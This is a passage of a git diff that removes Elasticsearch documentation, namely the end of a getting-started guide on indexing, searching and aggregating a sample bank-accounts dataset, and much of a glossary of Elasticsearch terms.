-GET /_cat/health?v=true
---------------------------------------------------
-+
-The response should indicate that the status of the `elasticsearch` cluster
-is `green` and it has three nodes:
-+
-[source,txt]
---------------------------------------------------
-epoch      timestamp cluster       status node.total node.data shards pri relo init unassign pending_tasks max_task_wait_time active_shards_percent
-1565052807 00:53:27  elasticsearch green           3         3      6   3    0    0        0             0                  -                100.0%
---------------------------------------------------
-// TESTRESPONSE[s/1565052807 00:53:27  elasticsearch/\\d+ \\d+:\\d+:\\d+ integTest/]
-// TESTRESPONSE[s/3         3      6   3/\\d+         \\d+      \\d+   \\d+/]
-// TESTRESPONSE[s/0             0                  -/0             \\d+                  (-|\\d+(\.\\d+)?(micros|ms|s))/]
-// TESTRESPONSE[non_json]
-+
-NOTE: The cluster status will remain yellow if you are only running a single
-instance of {es}. A single node cluster is fully functional, but data
-cannot be replicated to another node to provide resiliency. Replica shards must
-be available for the cluster status to be green. If the cluster status is red,
-some data is unavailable.
-
-[discrete]
-[[gs-curl]]
-=== Talking to {es} with cURL commands
-
-Most of the examples in this guide enable you to copy the appropriate cURL
-command and submit the request to your local {es} instance from the command line.
-
-A request to Elasticsearch consists of the same parts as any HTTP request:
-
-[source,sh]
---------------------------------------------------
-curl -X<VERB> '<PROTOCOL>://<HOST>:<PORT>/<PATH>?<QUERY_STRING>' -d '<BODY>'
---------------------------------------------------
-// NOTCONSOLE
-
-This example uses the following variables:
-
-`<VERB>`:: The appropriate HTTP method or verb. For example, `GET`, `POST`,
-`PUT`, `HEAD`, or `DELETE`.
-`<PROTOCOL>`:: Either `http` or `https`. Use the latter if you have an HTTPS
-proxy in front of {es} or you use {es} {security-features} to encrypt HTTP
-communications.
-`<HOST>`:: The hostname of any node in your {es} cluster. Alternatively, use
-+localhost+ for a node on your local machine.
-`<PORT>`:: The port running the {es} HTTP service, which defaults to `9200`.
-`<PATH>`:: The API endpoint, which can contain multiple components, such as
-`_cluster/stats` or `_nodes/stats/jvm`.
-`<QUERY_STRING>`:: Any optional query-string parameters. For example, `?pretty`
-will _pretty-print_  the JSON response to make it easier to read.
-`<BODY>`:: A JSON-encoded request body (if necessary).
-
-If the {es} {security-features} are enabled, you must also provide a valid user
-name (and password) that has authority to run the API. For example, use the
-`-u` or `--u` cURL command parameter. For details about which security
-privileges are required to run each API, see <<rest-apis>>.
-
-{es} responds to each API request with an HTTP status code like `200 OK`. With
-the exception of `HEAD` requests, it also returns a JSON-encoded response body. 
-
-[discrete]
-[[gs-other-install]]
-=== Other installation options
-
-Installing {es} from an archive file enables you to easily install and run
-multiple instances locally so you can try things out. To run a single instance,
-you can  run {es} in a Docker container, install {es} using the DEB or RPM
-packages on Linux, install using Homebrew on macOS, or install using the MSI
-package installer on Windows. See <<install-elasticsearch>> for more information.
-
-[[getting-started-index]]
-== Index some documents
-
-Once you have a cluster up and running, you're ready to index some data.
-There are a variety of ingest options for {es}, but in the end they all
-do the same thing: put JSON documents into an {es} index.
-
-You can do this directly with a simple PUT request that specifies
-the index you want to add the document, a unique document ID, and one or more
-`"field": "value"` pairs in the request body:
-
-[source,console]
---------------------------------------------------
-PUT /customer/_doc/1
-{
-  "name": "John Doe"
-}
---------------------------------------------------
-
-This request automatically creates the `customer` index if it doesn't already
-exist, adds a new document that has an ID of `1`, and stores and
-indexes the `name` field.
-
-Since this is a new document, the response shows that the result of the
-operation was that version 1 of the document was created:
-
-[source,console-result]
---------------------------------------------------
-{
-  "_index" : "customer",
-  "_type" : "_doc",
-  "_id" : "1",
-  "_version" : 1,
-  "result" : "created",
-  "_shards" : {
-    "total" : 2,
-    "successful" : 2,
-    "failed" : 0
-  },
-  "_seq_no" : 26,
-  "_primary_term" : 4
-}
---------------------------------------------------
-// TESTRESPONSE[s/"_seq_no" : \d+/"_seq_no" : $body._seq_no/]
-// TESTRESPONSE[s/"successful" : \d+/"successful" : $body._shards.successful/]
-// TESTRESPONSE[s/"_primary_term" : \d+/"_primary_term" : $body._primary_term/]
-
-
-The new document is available immediately from any node in the cluster.
-You can retrieve it with a GET request that specifies its document ID:
-
-[source,console]
---------------------------------------------------
-GET /customer/_doc/1
---------------------------------------------------
-// TEST[continued]
-
-The response indicates that a document with the specified ID was found
-and shows the original source fields that were indexed.
-
-[source,console-result]
---------------------------------------------------
-{
-  "_index" : "customer",
-  "_type" : "_doc",
-  "_id" : "1",
-  "_version" : 1,
-  "_seq_no" : 26,
-  "_primary_term" : 4,
-  "found" : true,
-  "_source" : {
-    "name": "John Doe"
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[s/"_seq_no" : \d+/"_seq_no" : $body._seq_no/ ]
-// TESTRESPONSE[s/"_primary_term" : \d+/"_primary_term" : $body._primary_term/]
-
-[discrete]
-[[getting-started-batch-processing]]
-=== Indexing documents in bulk
-
-If you have a lot of documents to index, you can submit them in batches with
-the {ref}/docs-bulk.html[bulk API]. Using bulk to batch document
-operations is significantly faster than submitting requests individually as it minimizes network roundtrips. 
-
-The optimal batch size depends on a number of factors: the document size and complexity, the indexing and search load, and the resources available to your cluster. A good place to start is with batches of 1,000 to 5,000 documents
-and a total payload between 5MB and 15MB. From there, you can experiment
-to find the sweet spot.
-
-To get some data into {es} that you can start searching and analyzing:
-
-. Download the https://github.com/elastic/elasticsearch/blob/master/docs/src/test/resources/accounts.json?raw=true[`accounts.json`] sample data set. The documents in this randomly-generated data set represent user accounts with the following information:
-+
-[source,js]
---------------------------------------------------
-{
-  "account_number": 0,
-  "balance": 16623,
-  "firstname": "Bradshaw",
-  "lastname": "Mckenzie",
-  "age": 29,
-  "gender": "F",
-  "address": "244 Columbus Place",
-  "employer": "Euron",
-  "email": "bradshawmckenzie@euron.com",
-  "city": "Hobucken",
-  "state": "CO"
-}
---------------------------------------------------
-// NOTCONSOLE
-
-. Index the account data into the `bank` index with the following `_bulk` request:
-+
-[source,sh]
---------------------------------------------------
-curl -H "Content-Type: application/json" -XPOST "localhost:9200/bank/_bulk?pretty&refresh" --data-binary "@accounts.json"
-curl "localhost:9200/_cat/indices?v=true"
---------------------------------------------------
-// NOTCONSOLE
-+
-////
-This replicates the above in a document-testing friendly way but isn't visible
-in the docs:
-+
-[source,console]
---------------------------------------------------
-GET /_cat/indices?v=true
---------------------------------------------------
-// TEST[setup:bank]
-////
-+
-The response indicates that 1,000 documents were indexed successfully.
-+
-[source,txt]
---------------------------------------------------
-health status index uuid                   pri rep docs.count docs.deleted store.size pri.store.size
-yellow open   bank  l7sSYV2cQXmu6_4rJWVIww   5   1       1000            0    128.6kb        128.6kb
---------------------------------------------------
-// TESTRESPONSE[s/128.6kb/\\d+(\\.\\d+)?[mk]?b/]
-// TESTRESPONSE[s/l7sSYV2cQXmu6_4rJWVIww/.+/ non_json]
-
-[[getting-started-search]]
-== Start searching
-
-Once you have ingested some data into an {es} index, you can search it
-by sending requests to the `_search` endpoint. To access the full suite of
-search capabilities, you use the {es} Query DSL to specify the
-search criteria in the request body. You specify the name of the index you 
-want to search in the request URI.
-
-For example, the following request retrieves all documents in the `bank`
-index sorted by account number:
-
-[source,console]
---------------------------------------------------
-GET /bank/_search
-{
-  "query": { "match_all": {} },
-  "sort": [
-    { "account_number": "asc" }
-  ]
-}
---------------------------------------------------
-// TEST[continued]
-
-By default, the `hits` section of the response includes the first 10 documents
-that match the search criteria:
-
-[source,console-result]
---------------------------------------------------
-{
-  "took" : 63,
-  "timed_out" : false,
-  "_shards" : {
-    "total" : 5,
-    "successful" : 5,
-    "skipped" : 0,
-    "failed" : 0
-  },
-  "hits" : {
-    "total" : {
-        "value": 1000,
-        "relation": "eq"
-    },
-    "max_score" : null,
-    "hits" : [ {
-      "_index" : "bank",
-      "_type" : "_doc",
-      "_id" : "0",
-      "sort": [0],
-      "_score" : null,
-      "_source" : {"account_number":0,"balance":16623,"firstname":"Bradshaw","lastname":"Mckenzie","age":29,"gender":"F","address":"244 Columbus Place","employer":"Euron","email":"bradshawmckenzie@euron.com","city":"Hobucken","state":"CO"}
-    }, {
-      "_index" : "bank",
-      "_type" : "_doc",
-      "_id" : "1",
-      "sort": [1],
-      "_score" : null,
-      "_source" : {"account_number":1,"balance":39225,"firstname":"Amber","lastname":"Duke","age":32,"gender":"M","address":"880 Holmes Lane","employer":"Pyrami","email":"amberduke@pyrami.com","city":"Brogan","state":"IL"}
-    }, ...
-    ]
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[s/"took" : 63/"took" : $body.took/]
-// TESTRESPONSE[s/\.\.\./$body.hits.hits.2, $body.hits.hits.3, $body.hits.hits.4, $body.hits.hits.5, $body.hits.hits.6, $body.hits.hits.7, $body.hits.hits.8, $body.hits.hits.9/]
-
-The response also provides the following information about the search request:
-
-* `took` – how long it took {es} to run the query, in milliseconds
-* `timed_out` – whether or not the search request timed out
-* `_shards` – how many shards were searched and a breakdown of how many shards
-succeeded, failed, or were skipped. 
-* `max_score` – the score of the most relevant document found
-* `hits.total.value` - how many matching documents were found
-* `hits.sort` - the document's sort position (when not sorting by relevance score)
-* `hits._score` - the document's relevance score (not applicable when using `match_all`)
-
-Each search request is self-contained: {es} does not maintain any
-state information across requests. To page through the search hits, specify
-the `from` and `size` parameters in your request. 
-
-For example, the following request gets hits 10 through 19:
-
-[source,console]
---------------------------------------------------
-GET /bank/_search
-{
-  "query": { "match_all": {} },
-  "sort": [
-    { "account_number": "asc" }
-  ],
-  "from": 10,
-  "size": 10
-}
---------------------------------------------------
-// TEST[continued]
-
-Now that you've seen how to submit a basic search request, you can start to
-construct queries that are a bit more interesting than `match_all`.
-
-To search for specific terms within a field, you can use a `match` query. 
-For example, the following request searches the `address` field to find 
-customers whose addresses contain `mill` or `lane`:
-
-[source,console]
---------------------------------------------------
-GET /bank/_search
-{
-  "query": { "match": { "address": "mill lane" } }
-}
---------------------------------------------------
-// TEST[continued]
-
-To perform a phrase search rather than matching individual terms, you use
-`match_phrase` instead of `match`. For example, the following request only 
-matches addresses that contain the phrase `mill lane`: 
-
-[source,console]
---------------------------------------------------
-GET /bank/_search
-{
-  "query": { "match_phrase": { "address": "mill lane" } }
-}
---------------------------------------------------
-// TEST[continued]
-
-To construct more complex queries, you can use a `bool` query to combine
-multiple query criteria. You can designate criteria as required (must match), 
-desirable (should match), or undesirable (must not match).
-
-For example, the following request searches the `bank` index for accounts that
-belong to customers who are 40 years old, but excludes anyone who lives in
-Idaho (ID):
-
-[source,console]
---------------------------------------------------
-GET /bank/_search
-{
-  "query": {
-    "bool": {
-      "must": [
-        { "match": { "age": "40" } }
-      ],
-      "must_not": [
-        { "match": { "state": "ID" } }
-      ]
-    }
-  }
-}
---------------------------------------------------
-// TEST[continued]
-
-Each `must`, `should`, and `must_not` element in a Boolean query is referred
-to as a query clause. How well a document meets the criteria in each `must` or
-`should` clause contributes to the document's _relevance score_. The higher the
-score, the better the document matches your search criteria. By default, {es}
-returns documents ranked by these relevance scores. 
-
-The criteria in a `must_not` clause is treated as a _filter_. It affects whether
-or not the document is included in the results, but does not contribute to
-how documents are scored. You can also explicitly specify arbitrary filters to
-include or exclude documents based on structured data. 
-
-For example, the following request uses a range filter to limit the results to
-accounts with a balance between $20,000 and $30,000 (inclusive). 
-
-[source,console]
---------------------------------------------------
-GET /bank/_search
-{
-  "query": {
-    "bool": {
-      "must": { "match_all": {} },
-      "filter": {
-        "range": {
-          "balance": {
-            "gte": 20000,
-            "lte": 30000
-          }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[continued]
-
-[[getting-started-aggregations]]
-== Analyze results with aggregations
-
-{es} aggregations enable you to get meta-information about your search results
-and answer questions like, "How many account holders are in Texas?" or 
-"What's the average balance of accounts in Tennessee?" You can search 
-documents, filter hits, and use aggregations to analyze the results all in one
-request. 
-
-For example, the following request uses a `terms` aggregation to group
-all of the accounts in the `bank` index by state, and returns the ten states
-with the most accounts in descending order:
-
-[source,console]
---------------------------------------------------
-GET /bank/_search
-{
-  "size": 0,
-  "aggs": {
-    "group_by_state": {
-      "terms": {
-        "field": "state.keyword"
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[continued]
-
-The `buckets` in the response are the values of the `state` field. The 
-`doc_count` shows the number of accounts in each state. For example, you
-can see that there are 27 accounts in `ID` (Idaho). Because the request
-set `size=0`, the response only contains the aggregation results.
-
-[source,console-result]
---------------------------------------------------
-{
-  "took": 29,
-  "timed_out": false,
-  "_shards": {
-    "total": 5,
-    "successful": 5,
-    "skipped" : 0,
-    "failed": 0
-  },
-  "hits" : {
-     "total" : {
-        "value": 1000,
-        "relation": "eq"
-     },
-    "max_score" : null,
-    "hits" : [ ]
-  },
-  "aggregations" : {
-    "group_by_state" : {
-      "doc_count_error_upper_bound": 20,
-      "sum_other_doc_count": 770,
-      "buckets" : [ {
-        "key" : "ID",
-        "doc_count" : 27
-      }, {
-        "key" : "TX",
-        "doc_count" : 27
-      }, {
-        "key" : "AL",
-        "doc_count" : 25
-      }, {
-        "key" : "MD",
-        "doc_count" : 25
-      }, {
-        "key" : "TN",
-        "doc_count" : 23
-      }, {
-        "key" : "MA",
-        "doc_count" : 21
-      }, {
-        "key" : "NC",
-        "doc_count" : 21
-      }, {
-        "key" : "ND",
-        "doc_count" : 21
-      }, {
-        "key" : "ME",
-        "doc_count" : 20
-      }, {
-        "key" : "MO",
-        "doc_count" : 20
-      } ]
-    }
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[s/"took": 29/"took": $body.took/]
-
-
-You can combine aggregations to build more complex summaries of your data. For 
-example, the following request nests an `avg` aggregation within the previous
-`group_by_state` aggregation to calculate the average account balances for
-each state.
-
-[source,console]
---------------------------------------------------
-GET /bank/_search
-{
-  "size": 0,
-  "aggs": {
-    "group_by_state": {
-      "terms": {
-        "field": "state.keyword"
-      },
-      "aggs": {
-        "average_balance": {
-          "avg": {
-            "field": "balance"
-          }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[continued]
-
-Instead of sorting the results by count, you could sort using the result of
-the nested aggregation by specifying the order within the `terms` aggregation:
-
-[source,console]
---------------------------------------------------
-GET /bank/_search
-{
-  "size": 0,
-  "aggs": {
-    "group_by_state": {
-      "terms": {
-        "field": "state.keyword",
-        "order": {
-          "average_balance": "desc"
-        }
-      },
-      "aggs": {
-        "average_balance": {
-          "avg": {
-            "field": "balance"
-          }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[continued]
-
-In addition to basic bucketing and metrics aggregations like these, {es}
-provides specialized aggregations for operating on multiple fields and 
-analyzing particular types of data such as dates, IP addresses, and geo 
-data. You can also feed the results of individual aggregations into pipeline
-aggregations for further analysis.
-
-The core analysis capabilities provided by aggregations enable advanced
-features such as using machine learning to detect anomalies. 
-
-[[getting-started-next-steps]]
-== Where to go from here
-
-Now that you've set up a cluster, indexed some documents, and run some
-searches and aggregations, you might want to:
-
-* {stack-gs}/get-started-elastic-stack.html#install-kibana[Dive in to the Elastic
-Stack Tutorial] to install Kibana, Logstash, and Beats and
-set up a basic system monitoring solution.
-
-* {kibana-ref}/add-sample-data.html[Load one of the sample data sets into Kibana]
-to see how you can use {es} and Kibana together to visualize your data.
-
-* Try out one of the Elastic search solutions:
-** https://swiftype.com/documentation/site-search/crawler-quick-start[Site Search]
-** https://swiftype.com/documentation/app-search/getting-started[App Search]
-** https://swiftype.com/documentation/enterprise-search/getting-started[Enterprise Search]
diff --git a/docs/reference/glossary.asciidoc b/docs/reference/glossary.asciidoc
deleted file mode 100644
index 1d9852720eb..00000000000
--- a/docs/reference/glossary.asciidoc
+++ /dev/null
@@ -1,574 +0,0 @@
-[glossary]
-[[glossary]]
-= Glossary of terms
-
-[glossary]
-[[glossary-analysis]] analysis ::
-+
---
-// tag::analysis-def[]
-Analysis is the process of converting <<glossary-text,full text>> to
-<<glossary-term,terms>>. Depending on which analyzer is used, these phrases:
-`FOO BAR`, `Foo-Bar`, `foo,bar` will probably all result in the
-terms `foo` and `bar`. These terms are what is actually stored in
-the index.
-
-A full text query (not a <<glossary-term,term>> query) for `FoO:bAR` will
-also be analyzed to the terms `foo`,`bar` and will thus match the
-terms stored in the index.
-
-It is this process of analysis (both at index time and at search time)
-that allows Elasticsearch to perform full text queries.
-
-Also see <<glossary-text,text>> and <<glossary-term,term>>.
-// end::analysis-def[]
---
-
-[[glossary-api-key]] API key ::
-// tag::api-key-def[]
-A unique identifier that you can use for authentication when submitting {es} requests.
-When TLS is enabled, all requests must be authenticated using either basic authentication
-(user name and password) or an API key.
-// end::api-key-def[]
-
-
-[[glossary-auto-follow-pattern]] auto-follow pattern ::
-// tag::auto-follow-pattern-def[]
-An <<glossary-index-pattern,index pattern>> that automatically configures new indices as
-<<glossary-follower-index,follower indices>> for <<glossary-ccr,{ccr}>>.
-For more information, see {ref}/ccr-auto-follow.html[Managing auto follow patterns].
-// end::auto-follow-pattern-def[]
-
-[[glossary-cluster]] cluster ::
-// tag::cluster-def[]
-One or more <<glossary-node,nodes>> that share the
-same cluster name. Each cluster has a single master node, which is
-chosen automatically by the cluster and can be replaced if it fails.
-// end::cluster-def[]
-
-[[glossary-cold-phase]] cold phase ::
-// tag::cold-phase-def[]
-The third possible phase in the <<glossary-index-lifecycle,index lifecycle>>.
-In the cold phase, an index is no longer updated and seldom queried.
-The information still needs to be searchable, but it’s okay if those queries are slower.
-// end::cold-phase-def[]
-
-[[glossary-cold-tier]] cold tier::
-// tag::cold-tier-def[]
-A <<glossary-data-tier, data tier>> that contains nodes that hold time series data 
-that is accessed occasionally and not normally updated.
-// end::cold-tier-def[]
-
-[[glossary-component-template]] component template ::
-// tag::component-template-def[]
-A building block for constructing <<index-templates,index templates>> that specifies index
-<<mapping,mappings>>, <<index-modules-settings,settings>>, and <<indices-aliases,aliases>>.
-// end::component-template-def[]
-
-[[glossary-content-tier]] content tier::
-// tag::content-tier-def[]
-A <<glossary-data-tier, data tier>> that contains nodes that handle the indexing and query load for 
-content such as a product catalog.
-// end::content-tier-def[]
-
-[[glossary-ccr]] {ccr} (CCR)::
-// tag::ccr-def[]
-A feature that enables you to replicate indices in remote clusters to your
-local cluster. For more information, see
-{ref}/xpack-ccr.html[{ccr-cap}].
-// end::ccr-def[]
-
-[[glossary-ccs]] {ccs} (CCS)::
-
-The {ccs} feature enables any node to act as a federated client across
-multiple clusters. See <<modules-cross-cluster-search>>.
-
-[[glossary-data-stream]] data stream ::
-+
---
-// tag::data-stream-def[]
-A named resource used to ingest, search, and manage time series data in {es}. A
-data stream's data is stored across multiple hidden, auto-generated
-<<glossary-index,indices>>. You can automate management of these indices to more
-efficiently store large data volumes.
-
-See {ref}/data-streams.html[Data streams].
-// end::data-stream-def[]
---
-
-[[glossary-data-tier]] data tier::
-// tag::data-tier-def[]
-A collection of nodes with the same data role that typically share the same hardware profile.
-See <<glossary-content-tier, content tier>>, <<glossary-hot-tier, hot tier>>, <<glossary-warm-tier, warm tier>>,
-<<glossary-cold-tier, cold tier>>.
-// end::data-tier-def[]
-
-[[glossary-delete-phase]] delete phase ::
-// tag::delete-phase-def[]
-The last possible phase in the <<glossary-index-lifecycle,index lifecycle>>.
-In the delete phase, an index is no longer needed and can safely be deleted.
-// end::delete-phase-def[]
-
-[[glossary-document]] document ::
-
-A document is a JSON document which is stored in Elasticsearch. It is
-like a row in a table in a relational database. Each document is
-stored in an <<glossary-index,index>> and has a <<glossary-type,type>> and an
-<<glossary-id,id>>.
-+
-A document is a JSON object (also known in other languages as a hash /
-hashmap / associative array) which contains zero or more
-<<glossary-field,fields>>, or key-value pairs.
-+
-The original JSON document that is indexed will be stored in the
-<<glossary-source_field,`_source` field>>, which is returned by default when
-getting or searching for a document.
-
-[[glossary-field]] field ::
-
-A <<glossary-document,document>> contains a list of fields, or key-value
-pairs. The value can be a simple (scalar) value (eg a string, integer,
-date), or a nested structure like an array or an object. A field is
-similar to a column in a table in a relational database.
-+
-The <<glossary-mapping,mapping>> for each field has a field _type_ (not to
-be confused with document <<glossary-type,type>>) which indicates the type
-of data that can be stored in that field, eg `integer`, `string`,
-`object`. The mapping also allows you to define (amongst other things)
-how the value for a field should be analyzed.
-
-[[glossary-filter]] filter ::
-// tag::filter-def[]
-A filter is a non-scoring <<glossary-query,query>>,
-meaning that it does not score documents.
-It is only concerned about answering the question - "Does this document match?".
-The answer is always a simple, binary yes or no. This kind of query is said to be made
-in a {ref}/query-filter-context.html[filter context],
-hence it is called a filter. Filters are simple checks for set inclusion or exclusion.
-In most cases, the goal of filtering is to reduce the number of documents that have to be examined.
-// end::filter-def[]
-
-[[glossary-flush]] flush ::
-// tag::flush-def[]
-Peform a Lucene commit to write index updates in the transaction log (translog) to disk.
-Because a Lucene commit is a relatively expensive operation,
-{es} records index and delete operations in the translog and
-automatically flushes changes to disk in batches.
-To recover from a crash, operations that have been acknowledged but not yet committed
-can be replayed from the translog.
-Before upgrading, you can explicitly call the {ref}/indices-flush.html[Flush] API
-to ensure that all changes are committed to disk.
-// end::flush-def[]
-
-[[glossary-follower-index]] follower index ::
-// tag::follower-index-def[]
-The target index for <<glossary-ccr,{ccr}>>. A follower index exists
-in a local cluster and replicates a <<glossary-leader-index,leader index>>.
-// end::follower-index-def[]
-
-[[glossary-force-merge]] force merge ::
-// tag::force-merge-def[]
-// tag::force-merge-def-short[]
-Manually trigger a merge to reduce the number of segments in each shard of an index
-and free up the space used by deleted documents.
-// end::force-merge-def-short[]
-You should not force merge indices that are actively being written to.
-Merging is normally performed automatically, but you can use force merge after
-<<glossary-rollover,rollover>> to reduce the shards in the old index to a single segment.
-See the {ref}/indices-forcemerge.html[force merge API].
-// end::force-merge-def[]
-
-[[glossary-freeze]] freeze ::
-// tag::freeze-def[]
-// tag::freeze-def-short[]
-Make an index read-only and minimize its memory footprint.
-// end::freeze-def-short[]
-Frozen indices can be searched without incurring the overhead of of re-opening a closed index,
-but searches are throttled and might be slower.
-You can freeze indices to reduce the overhead of keeping older indices searchable
-before you are ready to archive or delete them.
-See the {ref}/freeze-index-api.html[freeze API].
-// end::freeze-def[]
-
-[[glossary-frozen-index]] frozen index ::
-// tag::frozen-index-def[]
-An index reduced to a low overhead state that still enables occasional searches.
-Frozen indices use a memory-efficient shard implementation and throttle searches to conserve resources.
-Searching a frozen index is lower overhead than re-opening a closed index to enable searching.
-// end::frozen-index-def[]
-
-[[glossary-hidden-index]] hidden index ::
-// tag::hidden-index-def[]
-An index that is excluded by default when you access indices using a wildcard expression. 
-You can specify the `expand_wildcards` parameter to include hidden indices.
-Note that hidden indices _are_ included if the wildcard expression starts with a dot, for example `.watcher-history*`.
-// end::hidden-index-def[]
-
-[[glossary-hot-phase]] hot phase ::
-// tag::hot-phase-def[]
-The first possible phase in the <<glossary-index-lifecycle,index lifecycle>>.
-In the hot phase, an index is actively updated and queried.
-// end::hot-phase-def[]
-
-[[glossary-hot-tier]] hot tier::
-// tag::hot-tier-def[]
-A <<glossary-data-tier, data tier>> that contains nodes that handle the indexing load 
-for time series data such as logs or metrics and hold your most recent, 
-most-frequently-accessed data.
-// end::hot-tier-def[]
-
-[[glossary-id]] id ::
-
-The ID of a <<glossary-document,document>> identifies a document. The
-`index/id` of a document must be unique. If no ID is provided,
-then it will be auto-generated. (also see <<glossary-routing,routing>>)
-
-[[glossary-index]] index ::
-+
---
-// tag::index-def[]
-// tag::index-def-short[]
-An optimized collection of JSON documents. Each document is a collection of fields,
-the key-value pairs that contain your data.
-// end::index-def-short[]
-
-An index is a logical namespace which maps to one or more
-<<glossary-primary-shard,primary shards>> and can have zero or more
-<<glossary-replica-shard,replica shards>>.
-// end::index-def[]
---
-
-[[glossary-index-alias]] index alias ::
-+
---
-// tag::index-alias-def[]
-// tag::index-alias-desc[]
-An index alias is a secondary name
-used to refer to one or more existing indices.
-
-Most {es} APIs accept an index alias
-in place of an index name.
-// end::index-alias-desc[]
-
-See {ref}/indices-add-alias.html[Add index alias].
-// end::index-alias-def[]
---
-
-[[glossary-index-lifecycle]] index lifecycle ::
-// tag::index-lifecycle-def[]
-The four phases an index can transition through:
-<<glossary-hot-phase,hot>>, <<glossary-warm-phase,warm>>,
-<<glossary-cold-phase,cold>>, and <<glossary-delete-phase,delete>>.
-For more information, see {ref}/ilm-policy-definition.html[Index lifecycle].
-// end::index-lifecycle-def[]
-
-[[glossary-index-lifecycle-policy]] index lifecycle policy ::
-// tag::index-lifecycle-policy-def[]
-Specifies how an index moves between phases in the index lifecycle and
-what actions to perform during each phase.
-// end::index-lifecycle-policy-def[]
-
-[[glossary-index-pattern]] index pattern ::
-// tag::index-pattern-def[]
-A string that can contain the `*` wildcard to match multiple index names.
-In most cases, the index parameter in an {es} request can be the name of a specific index,
-a list of index names, or an index pattern.
-For example, if you have the indices `datastream-000001`, `datastream-000002`, and `datastream-000003`,
-to search across all three you could use the `datastream-*` index pattern.
-// end::index-pattern-def[]
-
-[[glossary-index-template]] index template ::
-+
---
-// tag::index-template-def[]
-// tag::index-template-def-short[]
-Defines settings and mappings to apply to new indexes that match a simple naming pattern, such as _logs-*_.
-// end::index-template-def-short[]
-An index template can also attach a lifecycle policy to the new index.
-Index templates are used to automatically configure indices created during <<glossary-rollover,rollover>>.
-// end::index-template-def[]
---
-
-[[glossary-leader-index]] leader index ::
-// tag::leader-index-def[]
-The source index for <<glossary-ccr,{ccr}>>. A leader index exists
-on a remote cluster and is replicated to
-<<glossary-follower-index,follower indices>>.
-
-[[glossary-local-cluster]] local cluster ::
-// tag::local-cluster-def[]
-The cluster that pulls data from a <<glossary-remote-cluster,remote cluster>> in {ccs} or {ccr}.
-// end::local-cluster-def[]
-
-[[glossary-mapping]] mapping ::
-
-A mapping is like a _schema definition_ in a relational database. Each
-<<glossary-index,index>> has a mapping, which defines a <<glossary-type,type>>,
-plus a number of index-wide settings.
-+
-A mapping can either be defined explicitly, or it will be generated
-automatically when a document is indexed.
-
-[[glossary-node]] node ::
-
-A node is a running instance of Elasticsearch which belongs to a
-<<glossary-cluster,cluster>>. Multiple nodes can be started on a single
-server for testing purposes, but usually you should have one node per
-server.
-+
-At startup, a node will use unicast to discover an existing cluster with
-the same cluster name and will try to join that cluster.
-
-[[glossary-primary-shard]] primary shard ::
-
-Each document is stored in a single primary <<glossary-shard,shard>>. When
-you index a document, it is indexed first on the primary shard, then
-on all <<glossary-replica-shard,replicas>> of the primary shard.
-+
-By default, an <<glossary-index,index>> has one primary shard. You can specify
-more primary shards to scale the number of <<glossary-document,documents>>
-that your index can handle.
-+
-You cannot change the number of primary shards in an index, once the index is
-created. However, an index can be split into a new index using the
-<<indices-split-index, split API>>.
-+
-See also <<glossary-routing,routing>>
-
-[[glossary-query]] query ::
-
-A request for information from {es}. You can think of a query as a question,
-written in a way {es} understands. A search consists of one or more queries
-combined.
-+
-There are two types of queries: _scoring queries_ and _filters_. For more
-information about query types, see <<query-filter-context>>.
-
-[[glossary-recovery]] recovery ::
-+
---
-Shard recovery is the process
-of syncing a <<glossary-replica-shard,replica shard>>
-from a <<glossary-primary-shard,primary shard>>.
-Upon completion,
-the replica shard is available for search.
-
-// tag::recovery-triggers[]
-Recovery automatically occurs
-during the following processes:
-
-* Node startup or failure.
-  This type of recovery is called a *local store recovery*.
-* <<glossary-replica-shard,Primary shard replication>>.
-* Relocation of a shard to a different node in the same cluster.
-* {ref}/snapshots-restore-snapshot.html[Snapshot restoration].
-// end::recovery-triggers[]
---
-
-[[glossary-reindex]] reindex ::
-+
---
-// tag::reindex-def[]
-Copies documents from a _source_ to a _destination_. The source and
-destination can be any pre-existing index, index alias, or
-{ref}/data-streams.html[data stream].
-
-You can reindex all documents from a source or select a subset of documents to
-copy. You can also reindex to a destination in a remote cluster.
-
-A reindex is often performed to update mappings, change static index settings,
-or upgrade {es} between incompatible versions.
-// end::reindex-def[]
---
-
-[[glossary-remote-cluster]] remote cluster ::
-
-// tag::remote-cluster-def[]
-A separate cluster, often in a different data center or locale, that contains indices that
-can be replicated or searched by the <<glossary-local-cluster,local cluster>>.
-The connection to a remote cluster is unidirectional.
-// end::remote-cluster-def[]
-
-[[glossary-replica-shard]] replica shard ::
-
-Each <<glossary-primary-shard,primary shard>> can have zero or more
-replicas. A replica is a copy of the primary shard, and has two
-purposes:
-+
-1.  increase failover: a replica shard can be promoted to a primary
-shard if the primary fails
-2.  increase performance: get and search requests can be handled by
-primary or replica shards.
-+
-By default, each primary shard has one replica, but the number of
-replicas can be changed dynamically on an existing index. A replica
-shard will never be started on the same node as its primary shard.
-
-[[glossary-rollover]] rollover ::
-+
---
-// tag::rollover-def[]
-// tag::rollover-def-short[]
-Creates a new index for a rollover target when the existing index reaches a certain size, number of docs, or age.
-A rollover target can be either an <<indices-aliases, index alias>> or a <<data-streams, data stream>>.
-// end::rollover-def-short[]
-
-For example, if you're indexing log data, you might use rollover to create daily or weekly indices.
-See the {ref}/indices-rollover-index.html[rollover index API].
-// end::rollover-def[]
---
-
-[[glossary-rollup]] rollup ::
-// tag::rollup-def[]
-Summarize high-granularity data into a more compressed format to
-maintain access to historical data in a cost-effective way.
-// end::rollup-def[]
-
-[[glossary-rollup-index]] rollup index ::
-// tag::rollup-index-def[]
-A special type of index for storing historical data at reduced granularity.
-Documents are summarized and indexed into a rollup index by a <<glossary-rollup-job,rollup job>>.
-// end::rollup-index-def[]
-
-[[glossary-rollup-job]] rollup job ::
-// tag::rollup-job-def[]
-A background task that runs continuously to summarize documents in an index and
-index the summaries into a separate rollup index.
-The job configuration controls what information is rolled up and how often.
-// end::rollup-job-def[]
-
-[[glossary-routing]] routing ::
-
-When you index a document, it is stored on a single
-<<glossary-primary-shard,primary shard>>. That shard is chosen by hashing
-the `routing` value. By default, the `routing` value is derived from
-the ID of the document or, if the document has a specified parent
-document, from the ID of the parent document (to ensure that child and
-parent documents are stored on the same shard).
-+
-This value can be overridden by specifying a `routing` value at index
